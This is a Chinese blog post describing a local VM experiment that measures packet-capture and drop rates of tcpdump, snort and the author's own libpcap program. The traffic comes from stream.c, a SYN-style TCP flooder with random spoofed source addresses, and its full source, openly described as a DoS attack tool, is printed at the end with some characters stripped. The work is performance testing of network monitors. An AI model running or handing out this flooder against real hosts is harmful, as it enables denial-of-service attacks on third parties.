关于高效的数据包捕获实验（1）

arrous

昨天心血来潮翻译了一篇长长的外文，真累，以后真是懒得翻译了，自己英语也一般，翻译出来错误估计也较多，还不利于读者学英语。
    不过昨天那片关于如何提高被动数据包的捕获的效率的文章，那些实验数据还是比较值得关注的，看了才知道原来网络上的包那么容易丢啊。
    当然它的测试是通过外部计算机发数据包，对接收者的测试。
    我为了简单，对发送者进行了一些初步测试，对在发送端进行数据包的捕获，我简单的测试了几下发现捕获率100％，我想原因是对于发的包，必须经过内核所以能被100％的捕获，而对于接受方则不一样，因为接受方的缓冲区满了，就要丢包了，而发包程序是个单线程的，使用的是sendto函数，查看手册sendto默认是阻塞调用，所以捕获率是100％，至于接受方的捕获率我还没有真正测试呢，看那篇翻译文章所说应该是很低。

    下面是我的这个实验
mysnort是我自己写的一个程序，本来是这个学期的作业要交的报告，我也连它一块测试，以辨优劣。当然现在代码只是简单的抓包，在这个实验我把包的分析直接return了，也就是没有分析，测试一下libpcap的抓包率会不会受程序处理速度的影响，很明显是受的，也就给了我要用多线程改写这个程序提供了依据。因为snort，tcpdump都是基于libpcap的，我也使用了libpcap，因为我写程序的时候还只知道这个库，libpcap-mmap还有那个PF_RING听都没有听说过。不过我想抓包的部分是可修改的。因为不论用那个库，抓的包是没有变的，只是准确不准确而已。

实验目的：分析snort、tcpdump和mysnort的运行效果。
实验步骤：
数据包构造，这里采用了stream.c，一种Dos攻击方式发大量的数据包。后附stream.c的代码。
网络环境：
采用host-only方式和主机通讯，抗外界干扰能力强。内装操作系统ubuntu,主机windows xp

Xp:本地连接静态ip 192.168.1.2 子网掩码255.255.255.0 默认网关192.168.1.1(路由器)
本地连接共享上网给VMware Network Adapter VMnet1这一虚拟网卡。
VMnet1 静态ip:192.168.0.1 子网掩码255.255.255.0

Ubuntu 静态ip: 192.168.0.2 子网掩码255.255.255.0 默认网关 192.168.0.1 dns 61.139.2.69
实验步骤：
Gcc stream.c      //生成./a.out
运行下面三个程序准备侦听
tcpdump -vv tcp and dst host 192.168.0.1
snort -v tcp and dst host 192.168.0.1
./mysnort    //这个的命令行格式还没有做，只有在代码里修改了重新编译运行即可。
然后运行发包程序
./a.out 192.168.0.1 0 0 1
然后CTRL＋C结束发包程序，然后CTRL＋C结束其他三个监测程序，再结束snort的时候，它没有响应，要给它再发个包，它才退出，这是个小错误，我用的snort版本是2.7.0，ubuntu的源里面没有2.8的，所以就装了2.7.0的将就测试了。
实验结果：

图一 Stream.c 构造了57285个数据包，由于要停止snort捕获数据包时，无法中断SIGINT，所以又进行了一次发包，这样子snort就会再处理一个包，然后处理中断SIGINT，这样子snort就捕获了57286个包。Snort捕获的数据包多一个就是这个原因。

图二 snort的抓包及处理效果

图三 tcpdump
由以上数据得

Packets send
by stream.c is 57285(+1)

software
received
droped
analyzed
tcpdump
57285
56919
4
snort
57285(+1)
36227
21058
mysnort
57285
0
0
表一 mysnort是自己测试用得，只进行抓包不进行包得任何处理

为了显示snort的数据必须在对他发出SIGINT后多发一个包才能退出它，并显示统计信息。
从上表可以知道：
他们三个都收到了发出去的全部数据包，这是由于数据包是从本机发出去的，所以必须经过内核，这样就都能被libpcap捕获到。
Tcpdump只分析了4个包，丢掉了56919个包，还有366个包不知道跑哪去了。可能是在缓冲区中，没来得及分析，而由于缓冲区满了导致其他的数据包都被丢弃。说明了tcpdump的效果极差。
对于snort分析率36.759%，丢包率63.239%，明显可知snort的分析效果还有待改进。
而对于mysnort分析率为0，丢包率为0，也就是说对libpcap的包未做分析所以没有出现丢包现象。
这说明了只要分析的速度够快，丢包率就不会那么高，而且对于snort来说，我选取的模式还没有进行规则匹配，如果再进行规则匹配，那么丢包率或许会更可观。
      //stream.c代码，略做修改能够在退出时打印发的包的数目，源码出处是：
http://www.securiteam.com/unixfocus/5YP0I000DG.html


#include stdio.h>
#include stdlib.h>
#include unistd.h>
#include string.h>
#include sys/time.h>
#include sys/types.h>
#include sys/socket.h>
#include signal.h>
#ifndef __USE_BSD
#define __USE_BSD
#endif
#ifndef __FAVOR_BSD
#define __FAVOR_BSD
#endif
#include netinet/in_systm.h>
#include netinet/in.h>
#include netinet/ip.h>
#include netinet/tcp.h>
#include arpa/inet.h>
#include netdb.h>
#ifdef LINUX
#define FIX(x) htons(x)
#else
#define FIX(x) (x)
#endif
int num=0;
struct ip_hdr {
    u_int ip_hl:4, /* header length in 32 bit words */
    ip_v:4; /* ip version */
    u_char ip_tos; /* type of service */
    u_short ip_len; /* total packet length */
    u_short ip_id; /* identification */
    u_short ip_off; /* fragment offset */
    u_char ip_ttl; /* time to live */
    u_char ip_p; /* protocol */
    u_short ip_sum; /* ip checksum */
    u_long saddr, daddr; /* source and dest address */
};
struct tcp_hdr {
    u_short th_sport; /* source port */
    u_short th_dport; /* destination port */
    u_long th_seq; /* sequence number */
    u_long th_ack; /* acknowledgement number */
    u_int th_x2:4, /* unused */
    th_off:4; /* data offset */
    u_char th_flags; /* flags field */
    u_short th_win; /* window size */
    u_short th_sum; /* tcp checksum */
    u_short th_urp; /* urgent pointer */
};
struct tcpopt_hdr {
    u_char type; /* type */
    u_char len; /* length */
    u_short value; /* value */
};
struct pseudo_hdr { /* See RFC 793 Pseudo Header */
    u_long saddr, daddr; /* source and dest address */
    u_char mbz, ptcl; /* zero and protocol */
    u_short tcpl; /* tcp length */
};
struct packet {
    struct ip/*_hdr*/ ip;
    struct tcphdr tcp;
/* struct tcpopt_hdr opt; */
};
struct cksum {
    struct pseudo_hdr pseudo;
    struct tcphdr tcp;
};
struct packet packet;
struct cksum cksum;
struct sockaddr_in s_in;
u_short dstport, pktsize, pps;
u_long dstaddr;
int sock;
void usage(char *progname)
{
    fprintf(stderr, "Usage: %s    \n", progname);
    fprintf(stderr, " dstaddr - the target we are trying to attack.\n");
    fprintf(stderr, " dstport - the port of the target, 0 = random.\n");
    fprintf(stderr, " pktsize - the extra size to use. 0 = normal syn.\n");
    exit(1);
}
/* This is a reference internet checksum implimentation, not very fast */
inline u_short in_cksum(u_short *addr, int len)
{
    register int nleft = len;
    register u_short *w = addr;
    register int sum = 0;
    u_short answer = 0;
     /* Our algorithm is simple, using a 32 bit accumulator (sum), we add
      * sequential 16 bit words to it, and at the end, fold back all the
      * carry bits from the top 16 bits into the lower 16 bits. */
     while (nleft > 1) {
         sum += *w++;
         nleft -= 2;
     }
     /* mop up an odd byte, if necessary */
     if (nleft == 1) {
         *(u_char *)(&answer) = *(u_char *) w;
         sum += answer;
     }
     /* add back carry outs from top 16 bits to low 16 bits */
     sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
     sum += (sum >> 16); /* add carry */
     answer = ~sum; /* truncate to 16 bits */
     return(answer);
}
u_long lookup(char *hostname)
{
    struct hostent *hp;
    if ((hp = gethostbyname(hostname)) == NULL) {
       fprintf(stderr, "Could not resolve %s.\n", hostname);
       exit(1);
    }
    return *(u_long *)hp->h_addr;
}
void flooder(void)
{
    struct timespec ts;
    int i;
    memset(&packet, 0, sizeof(packet));
    ts.tv_sec = 0;
    ts.tv_nsec = 10;
    packet.ip.ip_hl = 5;
    packet.ip.ip_v = 4;
    packet.ip.ip_p = IPPROTO_TCP;
    packet.ip.ip_tos = 0x08;
    packet.ip.ip_id = rand();
    packet.ip.ip_len = FIX(sizeof(packet));
    packet.ip.ip_off = 0; /* IP_DF? */
    packet.ip.ip_ttl = 255;
    packet.ip.ip_dst.s_addr = dstaddr;
    packet.tcp.th_flags = 0;
    packet.tcp.th_win = htons(16384);
    packet.tcp.th_seq = random();
    packet.tcp.th_ack = 0;
    packet.tcp.th_off = 5; /* 5 */
    packet.tcp.th_urp = 0;
    packet.tcp.th_sport = rand();
    packet.tcp.th_dport = dstport?htons(dstport):rand();
/*
    packet.opt.type = 0x02;
    packet.opt.len = 0x04;
    packet.opt.value = htons(1460);
*/
    cksum.pseudo.daddr = dstaddr;
    cksum.pseudo.mbz = 0;
    cksum.pseudo.ptcl = IPPROTO_TCP;
    cksum.pseudo.tcpl = htons(sizeof(struct tcphdr));
    s_in.sin_family = AF_INET;
    s_in.sin_addr.s_addr = dstaddr;
    s_in.sin_port = packet.tcp.th_dport;
    for(i=0;;++i) {
    cksum.pseudo.saddr = packet.ip.ip_src.s_addr = random();
       ++packet.ip.ip_id;
       ++packet.tcp.th_sport;
       ++packet.tcp.th_seq;
       if (!dstport)
          s_in.sin_port = packet.tcp.th_dport = rand();
       packet.ip.ip_sum = 0;
       packet.tcp.th_sum = 0;
       cksum.tcp = packet.tcp;
       packet.ip.ip_sum = in_cksum((void *)&packet.ip, 20);
       packet.tcp.th_sum = in_cksum((void *)&cksum, sizeof(cksum));
     num++;
       if (sendto(sock, &packet, sizeof(packet), 0, (struct sockaddr *)&s_in, sizeof(s_in))  0)
          perror("jess");
        
    }
}
void nice_exit(int signal);
int main(int argc, char *argv[])
{
    signal(SIGINT,nice_exit);
    int on = 1;
    printf("stream.c v1.0 - TCP Packet Storm\n");
    if ((sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW))  0) {
       perror("socket");
       exit(1);
    }
    setgid(getgid()); setuid(getuid());
    if (argc  4)
       usage(argv[0]);
    if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on))  0) {
       perror("setsockopt");
       exit(1);
    }
    srand((time(NULL) ^ getpid()) + getppid());
    printf("\nResolving IPs..."); fflush(stdout);
    dstaddr = lookup(argv[1]);
    dstport = atoi(argv[2]);
    pktsize = atoi(argv[3]);
    printf("Sending..."); fflush(stdout);
    flooder();
   
    return 0;
}
void nice_exit(int signal)
{
    printf("%d packets send!\n",num);
    exit(0);
}


本文来自ChinaUnix博客，如果查看原文请点：http://blog.chinaunix.net/u2/76257/showart_1131351.html